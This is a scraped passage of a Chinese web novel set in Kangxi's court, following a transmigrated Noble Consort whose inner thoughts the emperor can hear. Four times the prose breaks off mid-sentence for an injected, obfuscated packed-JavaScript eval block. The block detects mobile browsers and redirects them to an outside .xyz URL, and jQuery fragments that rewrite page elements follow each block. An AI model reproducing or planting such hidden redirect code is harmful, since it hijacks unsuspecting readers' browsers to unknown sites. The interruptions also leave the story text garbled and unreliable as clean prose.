佟佳氏气了个倒仰,贵妃几时学得这般窝囊,居然未战先怯!连个毛没长齐的小妮子都怕,这还是她认识的贵妃吗?
她才不信云欢从此看开了,只当畏惧赫舍里家权势,不敢直
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446799|185133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
撄其锋。
云欢随便佟佳氏怎么想,想拿她当枪使,没门!
她对平贵人的印象挺好的,虽然出身望族,却极斯文知礼,从不拿大。
这也符合常情,小赫舍里进宫年岁那么小,又是孤军奋战,没有一个嫔妃肯与之亲近——人家生来就是太子党,沾染上又有什么好处,若交浅言深,难保不会被套了话去,徒惹祸端。
四妃都是有孩子的,立场上就注定敌对,至于那些低等嫔妃又因为家世缘故难免有些隔膜,小赫舍里着实孤单。
云欢很是感同身受,她一个人来到这异世其实也是背井离乡,回家注定无望,剩下的无非苦中作乐过日子,捱得一天是一天。
触景伤情,不免多嘴一句,“妹妹若是喜欢,以后不妨常来常往,我也乐得多个人作伴。”
小赫舍里欢喜应下,脸红得像初绽的凤仙花。
原以为是无心客套,怎料小赫舍里却当了真,之后果然天天过来,云欢倒是乐意聊些没营养的家常,可有外人在场,再想偷吃点心就没那么容易了。
她也不能请平贵人一同品尝,倘被试出里头有猪油,自己高冷出尘的形象就全毁了。
康熙过来时,正听见云欢在那碎碎念,心思全不在眼前绣花图样上。
俗不可耐,成天就想着吃吃喝喝。康熙微哂。
云欢听见动静忙起身施礼,“皇上万安。”
又假模假式恭维,“万岁清癯如许,愈显超凡脱俗。”
康熙为太皇太后斋戒那可是真心实意的,祖母辛苦抚育他为人,恨不得粉身以报,怎肯有丝毫怠慢?
顿顿粗茶淡饭,不瘦也难。
哪像贵妃,分明舟车劳顿,看着反倒丰润不少,气色都变得红润了。
云欢表示很无辜,她这是锻炼的功效好不好?至于吃的大家都没差,不过以前饭量太小,跟小鸟胃似的,现下足足翻了一番。
事实证明吃饭比吃药强。
平贵人怯怯起身,实在有些不敢面对,可想到家里叮嘱,也只能硬着头皮道:“妾这几日来了天葵,不便照顾太子,还望万岁谅解。”
提醒皇帝,她到了能侍寝的岁数,是时候把绿头牌挂上去了。
见康熙迟迟不语,云欢倒有些跃跃欲试。
【多么明显的暗示,还不快接招,人家都要急哭了。】
【加油,努努力,没准还能给太子添个小弟弟。】
【反正老牛吃嫩草也不稀奇。】
康熙:……
贵妃这满嘴荤话,必是从话本子里看来的,看来自己得正正宫里风气,若上行下效还得了?
至于平贵人,康熙对其本就无甚兴趣,更不会让赫舍里家再添位皇子,便淡淡道:“无碍,太子自有乳母照料,朕也没指望你。”
话说得太直白,平贵人连难堪都忘了,呆呆愣在原地。
云欢:好个油盐不进的康师傅!
9. 第 9 章
在座就她一个外人,云欢只得出来打圆场,干笑道:“万岁爷的意思,是让你好生调理身子,就别操心那些琐事啦。”
平贵人懵懵懂懂哦了声,情绪明显好转许多,含羞带怯应了声是,便一步三回头告退。
那稚嫩的风情引人发笑。
云欢扶额,必是她身旁嬷嬷教她的。至于平贵人,不知道是单蠢还是心大,完全不懂得看人脸色。
倒也是好事,不会郁结于胸——宫里聪明人太多,走一步算十步,不多思多病才怪呢。
康熙无疑是顶顶聪明的那个,每当他朝自己看过来时,云欢都感觉浑身被剥光了似的。
这让她喉咙一阵发紧。
但,应该不会吧,现在还是沐浴斋戒期,若破了色戒,皇帝许的愿心恐怕就不灵了。
倘太皇太后不能长寿富贵,回头怪到她身上,她可吃罪不起!
康熙:……
每回才升起那么点绮念,都被这妮子的心里话轻轻打消过去,真叫人——又爱又恨!
他负气离开,头也不回。
云欢念了声佛,善哉善哉,总算都走了,这下可以放心大胆地偷吃了。
赶紧让雪娟将藏着的糕点拿出来,稍微有点哈喇味,不过依然甜香扑鼻。
身为贵妃身边近仆,雪娟平日也是锦衣玉食极尽优渥,可照她说,以前那些山珍海味都没这普普通通的糕点香。
云欢笑道:“傻丫头,你是饿久了才会如此,若顿顿这么吃,保准两三天就腻了。”
天天吃些斋饭,嘴里都能淡出鸟来,这时候别说内造点心,哪怕给她一块大肥肉她也能完整不剩地吞下去——要知道她最讨厌肥肉了!
小灶虽好,不能贪多。云欢心惊胆战摸了摸愈发圆润的脸颊,丰满固然好,若是痴肥就难救了,这时候得了三高可没法治!
只克制地尝了两块,剩下的仍用油纸包起来。
这样偷偷摸摸地吃才回味无穷。
景山斋戒完毕,御驾一路东巡至河北,先往孝陵祭拜。
孝陵里葬着顺治皇帝、孝献皇后(董鄂氏)与康熙帝的生母孝康章皇后三位巨头,差点就凑够一桌麻将了。
康熙率领众人一一前往祭拜,无片刻疏失。
云欢炯炯有神心想,康师傅大度起来还真大度呢,居然允准几位情敌合葬,她若是康熙,没准会一时意气扒了董鄂妃的坟,再不济也得迁出孝陵——董鄂妃也许没什么可指摘的,可顺治爷对她的专宠压得后宫嫔妃喘不过气也是事实,便是少年康熙想必也没少受委屈,否则孝献皇后在宫里为何成了忌讳?谁人提起都噤若寒蝉。
康熙耳听得她在那打抱不平,面上虽八风不动,嘴角却不自禁地弯了弯。
其实早年他何尝没这么想过,只是被太皇太后给按住了——太皇太后同样不待见董鄂氏,却奉劝他以大局为重,不要拘泥儿女情长。
而随着亲政日久,康熙将朝政大事尽入彀中,他也渐渐懂得,最好的报复绝非雷霆之威,而是春风化雨。
董鄂妃生前其实素有贤名,谦卑恭谨,她的名声,生生是让先帝给败坏了的。无故废后就不说了,就连董鄂妃死前请求薄葬,先帝也全当做耳旁风,不但让朝廷里二三品的大员亲自为其抬棺,还杀了许多宫女太监陪葬,如此盛宠,董鄂妃泉下真能安乐?
更别提差点剃度出家的荒唐传闻,民间提起这对佳偶,莫不怨声载道。
故此,康熙实在无须多做什么。他非但不肯削减董鄂妃的葬仪规格,还年年亲往致祭,既展示了自身宽宏,也让臣下们牢牢记得先帝是如何为一个女人色令智昏的。
这才是最好的报复。
梁九功就瞧见皇帝脸上露出一抹极浅极淡的笑,吓得赶紧低头。阿弥陀佛,他什么也没看见,万岁爷怎可能在祖宗灵位前发笑,那不是大不敬么!
皇贵妃养尊处优,实在不惯久跪,便趁势对云欢道:“本宫有点乏了,妹妹可愿陪我去讨杯水喝?”
可见她对姑母实在没什么很深厚的感情,纵使爱屋及乌,她觉得孝敬太皇太后与皇太后就足够了,死人明白什么!
康熙脸上的笑意迅速消退。
云欢却没敢造次,以前她是个无神论者,可经历过许多,觉得宁可信其有不可信其无,何况,她腿都麻了,实在挪不动嘤嘤嘤!
遂婉拒了皇贵妃好意,执意要等到祭礼结束。
佟佳氏白讨没趣,心想贵妃就是个傻的,里头都是些跟你八竿子打不着的人,谁要你来献勤讨好?
马屁都拍不到点子上!
幸好也只有三位,等典礼结束,雪娟哆哆嗦嗦扶主子回房,康熙却差人送了一瓶子红花油与两块奇奇怪怪的布来。
那红花油云欢认得,打开瓶子便一股浓烈的气味冲鼻而来,定是上用的好物!
至于两块巴掌大的布云欢就不识了,一边带毛一边没毛,像是什么上等动物的毛皮,摸着还是挺厚实的,可到底能做什么用?
小太监见她不懂,索性说得再透些,“万岁爷交代,贵妃娘娘千金之体,实在无须太过辛苦,面子上过得去就行了。”
云欢恍然,原来这便是小燕子发明的“跪的容易”,那玩意正经是绑在膝盖上的。
想不到康熙竟会纵容她投机取巧,盛情难却,她只好接受啦!
未免人看出端倪,云欢特意加厚了衣装,反正北方二月的天依然冷得很,不打紧。
佟佳氏见她裹得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446800|185133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跟头熊似的,料想贵妃必是旧疾发作,心下微哂,这就叫自作自受,活该!
今日是往昌瑞山陵拜祭仁孝皇后与孝昭皇后的日子。
云欢想了想,还是将两片跪的容易取下,她是诚心来为孝昭皇后祈福的。
很抱歉,用了你妹妹的身子,虽非我本意,可到底有所负疚。
不管你怎么想,我会代替她好好活下去,并尽我所能看顾钮祜禄氏全族,愿你九泉之下能够心安。
云欢一声叹息,将线香插在面前的神坛上,愿姊妹俩的芳魂都能去往极乐,来生莫入皇家,方得自在。
佟佳氏亦有些唏嘘,她一心企盼的便是后位,若表哥日后真立她为后,这里也将是她埋骨之地。
想到此,对两位皇后的不平也淡去不少,反而私心祝祷,若您二位放心得下,以后表哥就交给我来照顾吧,我定不负所托。
线香轻巧地打了个旋,袅袅向上飘去,仿佛神明也同意了她的请求。
佟佳氏面露微笑,心情大好。
可随即她便笑不出来了。
趁皇帝还在里头沉思,服侍太子的谙达竟斗胆带着他往前跪了跪,生生越过了佟佳氏。
论理,这也没什么大错,仁孝皇后乃太子生母,太子思母成狂,想多亲近亲近生母不是很好吗?
可佟佳氏显然不怎么想,往日毓庆宫自成一派就罢了,好歹井水不犯河水,这样盛大的场合,俨然没把她这位六宫之主放眼里,好歹她也是长辈,难道嫡子就可以不尊敬庶母了?
眼看皇贵妃气得快要爆炸,平贵人还傻乎乎地要往前凑——家里让她看顾太子,寸步不离左右,她自然得遵命。
云欢赶紧将这傻丫头拉住,太子跪到皇贵妃前头还有话说,你敢去除非不想活了。
她不知是否赫舍里家授意,但是神仙打架小鬼遭殃,她们这些根基浅薄的还是别去掺和为好。
平贵人总算长了点眼力劲,老老实实跪在后头,又感激地拉了拉云欢衣角。
云欢面无表情,她倒也不是乐于助人,可平贵人若犯错,回头佟佳氏定得怪她教导不善。
二把手就是拿来背锅的。
祭典就在这样冰冷肃穆的气氛中结束。
皇贵妃当时虽未发作,可回房后却砸了一套精致的景德镇细瓷,她身边的宫女吓得大气都不敢喘。
人人皆以为,为了安抚佟佳氏,皇帝也该往她房里走一走了。反正皇贵妃那么好哄,三言两语也就释怀了。
云欢也这么想,就算舍身饲虎罢,佟佳氏也是只美艳动人的母老虎,康熙才不吃亏呢。
因此当康熙出现在眼前时,云欢着实惊掉了下巴。
您老是不是梦游走错地方了?
10. 第 10 章
康熙自顾自地入座,浑没把自己当外人,“怎的,不欢迎朕?”
“怎会,妾只是有点意外。”太吃惊了,云欢一时竟忘了撒谎,“还以为您会去皇贵妃娘娘处呢。”
但,也并非不能理解,佟佳氏外表尽管成熟丰艳,心智却仍是个没长大的孩子,尤其在她表哥面前。
受了这样大的委屈,更得哭哭啼啼求安慰,跟小时候一般撒娇撒痴要表哥抱,殊不知表哥怕是抱不动呢——还真不是云欢猜的,佟佳氏最喜欢拿儿时的青梅竹马之情来炫耀,怕是宜妃也有点无语,十几年前的回忆记得这样清楚,是真没别的好说了吧。
谁会把扮家家酒时的戏言当真?
康熙忍俊不禁,这厮贫嘴薄舌,句句倒说在点上,佟佳氏与他虽是中表之亲,那股粘人劲也实在肉麻。
这回的事的确太子有错在先,不该由着赫舍里家戳弄,可太子毕竟只是个孩子,佟佳氏却有些反应过度。
表妹非逼着他处死那名谙达,怕是要凉了太子的心,到底是从小长大的玩伴,依康熙的意思,打上几板子,再撵出宫也就是了。
云欢含蓄的瞥他一眼,和稀泥的后果是两边都不满意,俗话说清官难断家务事,难怪皇帝要焦头烂额。
康熙也的确是到贵妃处躲懒,被她戳穿也不恼,反微微一笑,“如何,你不想留朕?”
云欢自不会将贵客拒之门外,御驾亲临该荣幸之至才对。
可皇帝找她消闲解闷,她觉得自己做不到,毕竟她也不是会哄人开心的性子啊。
那你可就太过谦了,康熙心道。
嘴上早就想好了借口,“与朕对弈两局,如何?”
云欢却之不恭,可她只会点皮毛,放业余里还有点杀伤力,在康熙这等棋艺高手面前就不够看了。
此番较量略显轻松,康熙甚为惊异,贵妃几时竟学会了藏拙?须知钮祜禄氏精通六艺,每每恨不得大展奇才将他压倒,康熙身为人君都颇汗颜呢。
认准了贵妃存心相让,康熙反来了精神,愈发龙行虎步,要激起对面斗志来。
云欢……云欢被杀得大败亏输,片甲不留。
她不无懊恼,下个棋而已,用得着这么较真吗?又不是行军打仗。
康熙摸摸鼻子,早知道该留一手,让贵妃输得太难堪了。
遂温声道,“是朕不好,你想要什么补偿?”
肉偿行吗?呵呵开个玩笑。云欢想了想,她很想吃那种桂花黑芝麻馅的大元宵,只因时令已过,不好再劳烦御膳房。
用皇帝的名义就无妨了。
康熙自无意见,大手一挥吩咐下去。
奈何这玩意就图个新鲜别致,给皇帝做的也不敢潦草,梁九功遂紧赶慢赶请了专攻元宵的大师傅,从和面,搓面再到调馅煮制,莫不尽善尽美,精益求精。
等两碗热腾腾翻滚着的元宵送来,云欢已经香梦沉酣——本来白天祭陵就累,适才又耗费了太多脑力,眼皮实在撑不住了。
次日醒来,才想起漏掉的宵夜。
雪娟莞尔,“您别担心,都备着呢,想什么时候点都行。”
御膳房自不会只做一份,这种天气多放几天也坏不了。
云欢后知后觉注意到雪娟暧昧的眼色,以及略显凌乱的床榻,甚至肩膀上还影影绰绰有两点红痕。
她这是……跟康熙睡了?
不会,那种事当事人怎可能毫无察觉,就算康师傅细才如针吧,被针扎一下也会疼哩。
也不好直白地问雪娟,人家又没钻进帐子里看。
云欢只能装出若无其事的模样,反正吃亏的不是她,康熙徒然赏她个宠妃的名头,她自甘领受。
佟佳氏那头怎么想就不得而知了。
这女子的心眼比针尖还小,怕是不易办呢。
果不其然,才吃了碗香喷喷的芝麻大元宵,皇贵妃那头便来了传召。
外头不比宫里,是不必严格遵守晨昏定省的,皇贵妃无疑是气昏头了。
云欢却无所畏惧,好整以暇梳头洗脸,换了身最华丽的旗装,才姗姗来到皇贵妃的住所。
还不待佟佳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446801|185133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
氏发难,她便一把鼻涕一把泪哭诉起来,万岁爷昨晚不知抽了什么风,喝得醉醺醺的来她殿里,酒气冲天不说,害她听了半晚上的梦话,甚至她很喜欢的两个古董摆件也被摔坏了。
佟佳氏先惊后喜,喝醉了的人是没法行房的,可见表哥并未受钮祜禄氏引诱——引诱了也不会成功。
至于皇帝为何喝得酩酊大醉,可不正是心疼她么?太子毕竟乃元后所出,唯一正统,半壁朝臣都站他那边,表哥也不可能为这点小事责罚,显得小题大做。
正因有愧,才不敢来见她,才选择借酒浇愁。
显然,这些都是佟佳氏早就想好的理由,因此极快、极容易的把自己给说服了。
还赏了云欢几件首饰当补偿,表哥的债也等同于他的债,她自然不会抵赖。
云欢目瞪口呆,她算是见识到恋爱脑的女人有多可怕了。
之后,太子在乳母的带领下来给皇贵妃请了顿安,一场风波就此消弭于无形。
云欢因为肩颈上的红痕,看康熙总是面露怀疑,莫非真趁自己熟睡的时候毛手毛脚?忒不厚道!
康熙视若无睹,难道要告诉她自己是在帮她打蚊子?说出去也没人信啊。
谒陵一行顺利结束,云欢这位贵妃也得以名正言顺。此前她虽顶着先皇后胞妹的名头进宫,多少有点走后门的嫌疑,难以服众。
如今却是在天地祖宗面前过了明路的了,既然祖宗们没跳出来说她干的不好,那她这位贵妃就是实至名归。
——不服憋着。
康熙随后的举动也印证了这点。云欢所得的赏赐几与皇贵妃平齐,差距微小到可以忽略不计。
佟佳氏觉着康熙是顾着赫舍里家面子,毕竟才压着太子来自己跟前低头,再大肆封赏,东宫脸面上便难堪了。
她怎会为区区金银计较。
宜妃看贵妃则是背后发凉,都说吃一堑长一智,这位简直脱胎换骨,不但得了皇帝的宠,连皇贵妃也被她哄傻子似的,拿捏得团团转。
别是什么邪魔妖道上身了吧?
11. 第 11 章
云欢此次陪同东巡的重点虽非为太皇太后祈福,可到底也陪着皇帝在景山斋戒多日,有康熙为她镀的这层金身,太皇太后也得赏她点面子。
这不,慈宁宫竟来了传召。
要知钮祜禄氏虽为贵妃,与宫里几位长辈并不十分亲近,怕是还不如宜妃平贵人等等亲厚——平贵人毕竟乃太子姨母,宜妃的五阿哥又是养在太后处的。
佟佳氏与云欢的处境虽大差不差,可她姑姑毕竟诞下了当今天子,又是为康熙而死的,不看僧面看佛面,纵使太皇太后觉得佟佳氏有些蠢笨做作,有什么好事也忘不了她。
原身的满腹才情与矫情则让太皇太后想起董鄂氏,幸好贵妃不似董鄂氏盛宠,否则怕是要重蹈昔年之祸。
这点上,她孙子就比儿子清醒的多。
看太后自不能打扮得花枝招展,云欢穿了一身银鼠灰,上绣西番莲纹样——太皇太后礼佛,兴许能投老人家所好。
太皇太后微微一笑,贵妃到底进益了,竟学了些圆滑世故。
慈宁宫里此时还挺热闹,原是皇太后携咸福宫嫔前来问安——咸福宫嫔又称咸福宫格格,三位同来自科尔沁博尔济吉特氏,自成一派,亲密程度自与旁人不同。
咸福宫格格只会说蒙语,太后娘娘倒是还会点满语,可是轻易不说,两人这会儿用乡音交谈,声音又快又密。
除了云欢刚进来那会儿草草点了点头外,基本当没她这个人。
太皇太后身边的苏麻喇姑密切注视贵妃反应,见她脸上并无不愉,反倒十分新奇,显是对那些叽哩哇啦的蒙古话颇感兴味,不觉莞尔。
太皇太后亦满意颔首,贵妃确是长进不少。
无形中通过了第一关卡的云欢顺利获得用膳机会。
入乡随俗,慈宁宫的厨子自是也要照顾到这里人口味,端上来的大多是科尔沁特色,如手抓羊肉、蒙古包子、奶豆腐、马奶酒等等,品质固然上乘,却有种特殊的腥膻气。
贵妃以前是瞧不上这些粗俗饮食的,“宁可食无肉,不可居无竹”,一饮一啄都得做得雅致才行,故而以前慈宁宫与宁寿宫从未留她用饭,明知道是个败兴的客人,何苦来哉?
这会儿的云欢却津津有味,吃到兴头上时,几乎拿手抱着羊棒骨啃,以前看书时还不信,内蒙古的牛羊难道真没腥膻味?如今方知别有洞天,那肉香浓入口即化,不用调料她都能干三斤。
皇太后与咸福宫嫔面面相觑,如果不是装的,她俩以前或许看错了贵妃,这位内心住着个蒙古汉子;如果是装的,那贵妃牺牲未免太大了。
无论如何,看她吃得这样欢快,皇太后也高兴,直接让人从后厨取来半扇烤全羊交给雪娟,让她回去给自家主子加餐。
雪娟:……奴婢真抬不动呀!
幸好太后指派了几个人高马大的蒙古侍卫,个个身强力壮臂膀赛她小腰粗,多看两眼都脸红。
云欢坦坦荡荡谢恩。
望着她离去,咸福宫格格乐道:“这位娘娘真是个妙人,不怪表哥喜欢,我也喜欢。”
皇太后爱怜地摸了摸她脑后小辫,“可我倒盼着你能得幸。”
人人都说她有福,当今天子虽非她亲生,却对她无比孝顺。可唯有皇太后自己知道,这守活寡的日子有多难熬。
娜仁毕竟还年轻,不该枯萎在深宫里。
咸福宫格格轻轻摇头,脸上有着不符合年龄的通透,“我知道您为我着想,但是现在就很好了。”
科尔沁部虽不如顺治朝那般强势,可有两位长辈庇护,照样没人敢欺侮她。
她同样清楚,皇帝不会允许宫里出现带着博尔济吉特血统的皇子的。从前大清与蒙古是协作关系,合则两利,如今早已是天渊之别,非但无益,反生戒备。
科尔沁的时代已经过去了。
再说,皇贵妃才是万岁爷的嫡亲表妹,她算哪根葱哪头蒜。草原上女子有自身骄傲,要她豁出去争宠,毋宁死。
康熙过来时,永寿宫正忙得热火朝天。
烤全羊这东西不能过夜,隔天就变得硬邦邦的,咬都咬不动。本着独乐乐不如众乐乐的精神,云欢决定让底下宫人们都开一开荤。
为了照顾彼此口味,她让人在羊身裹一层蜂蜜继续翻烤片刻,外壳愈发酥脆,肉质也会更加细腻。
欢快地向康熙招手,“您也来尝尝。”
亲自切下一小块盛在碟中,旁边还配了各色酱汁,甜的咸的酸的辣的,应有尽有。
康熙:……
看来斋戒的确辛苦,这就迫不及待要大开杀戒了。
他此番前来,本是想问问慈宁宫有否为难贵妃——钮祜禄氏智商不错,情商堪忧,甚至眉眼都有点肖似当年孝献皇后,正是皇祖母最讨厌的类型。
他让梁九功宣扬贵妃斋戒礼佛之事,也是为她镀一层美德的金漆,可凭皇祖母的段位,自是看得出里头蹊跷。
没想到皇祖母跟贵妃相处挺好的。
云欢心里没有半点委屈,反倒暗戳戳的好奇,
【苏麻喇姑偌大岁数还未嫁人,也没传出什么艳闻逸事,难道真是恋着万岁爷的缘故?】
康熙……康熙实在无话可说,苏麻喇姑比他大了四十余岁,论起来都能当祖母了,这艳闻逸事从何谈起?
幸好云欢自己否决,恋母的男子虽然不少,没听说过恋奶的,且皇帝对苏麻喇姑态度极为尊敬爱戴,大约只是念在抚育之恩,且为自己启蒙恩师的缘故。
听说玄烨幼年罹患天花之时,苏麻喇姑冒着染病风险不眠不休服侍在侧,这可比亲娘还像亲娘了。
康熙面容稍霁,下一刻却几欲喷饭。
盖因云欢脑洞大开,【还是跟太皇太后她老人家更有可能,早听说主仆俩同衣共食,甚或同被而眠,难道真有磨镜之好?】
康熙责备地瞪她一眼,不管贵妃猜想得对不对吧,他根本不会管这种事,无论皇祖母还是苏麻喇姑都是他的大恩人,任何揣测都是对她俩的不尊重。
怪道人家说女子无才便是德,贵妃便是看的杂书太多了,才成日胡思乱想。
康熙冷冷道:“拿人手短,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446802|185133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
贵妃须得慎言。”
云欢莫名其妙,自己还什么都没说呢,不过抱怨了一句这羊肉稍显肥腻——草原上的羊种运动量大,进了京过上富贵日子,天天躺着吃草睡觉,难怪要长膘。
只有最精华的羊尾油她不嫌弃,那玩意如凝脂白玉,真真入口即化。
眼瞅着就快烤好了,云欢垂涎欲滴,才吩咐雪娟切下来,怎料康熙劈手夺过,才一口便滑入肚中。
嚼都没嚼。
看他悠哉离去,云欢气得跺脚。
敢情这家伙专门来找茬。
她诚心祝愿康熙被羊尾巴噎死。
之后几日,康熙没再过来,云欢也乐得自在。位分高就是这点好,不争宠也能活下去,没人敢轻易克扣你的。
除非不要命了。
宫里却出了个大新闻,德妃去皇贵妃宫门前跪求佟佳氏将胤禛还给她,佟佳氏不允,德妃便一直罚跪,以致惊动胎气,刚刚早产了。
云欢有点意外,没想到德妃还真被她那番话触动,莫非这会儿德妃还是很疼爱老四的?
可这法子也太激进了,她以为德妃会先求皇帝,只要皇帝答允了,什么都好说,哪知她会直接跑去要挟皇贵妃——没错,就是要挟。
如今人人皆知她是在皇贵妃门前惊动胎气,佟佳氏跳进黄河也洗不清了。
永和宫中,乌雅氏经过一天一夜的痛楚煎熬,艰难诞下一女,乳母们将洗干净的小格格抱到她跟前,神色颇有些小心翼翼。
德妃眼中并无失望,有的只是意料之中的平和。若非早从心腹太医口中得知此胎为女,她也不敢冒这个险。
幸好,她的付出是值得的。
如今佟佳氏的名声已然一败涂地,而她也掌握了足够的道德资本,万岁,到现在您还要庇护她吗?
佟佳氏的确是吓坏了,她知道德妃罚跪在外却不许她进来,本意是想震慑对方,想让乌雅氏知难而退,谁知道德妃性子死犟,愣是不向她低头。
可她真没想到乌雅氏会早产呀,那毕竟是表哥的骨血,她怎么会对其不利呢?
佟佳氏第一时间跑去永和宫看看究竟,想着孩子平平安安的,或许能大事化小小事化了,哪知德妃的大宫女以主子身体不适为由,愣将她劝了出来。
饶吃了闭门羹,佟佳氏也不敢发作,她知道此刻唯有服软,只要表哥肯原谅她的过失,此事便仍有转圜余地。
皇帝却不在乾清宫中。
佟佳氏望着空空如也的大殿,诧异道:“表哥呢?”
难道又跑去看德妃了?真是的,那蹄子不就只会一味装可怜吗?
值门的小太监将头垂得无限低,“万岁爷……去了永寿宫娘娘处。”
贵妃?表哥怎么想起看她?
云欢也想不明白,自己跟这事八竿子打不着,好端端怎么把她给扯进来。
康熙面色沉郁,似有无限心事,“你若有暇,陪朕饮杯酒罢。”
云欢懂了,敢情康师傅把自己当成狐朋狗友,得以借酒浇愁。
敢不从命?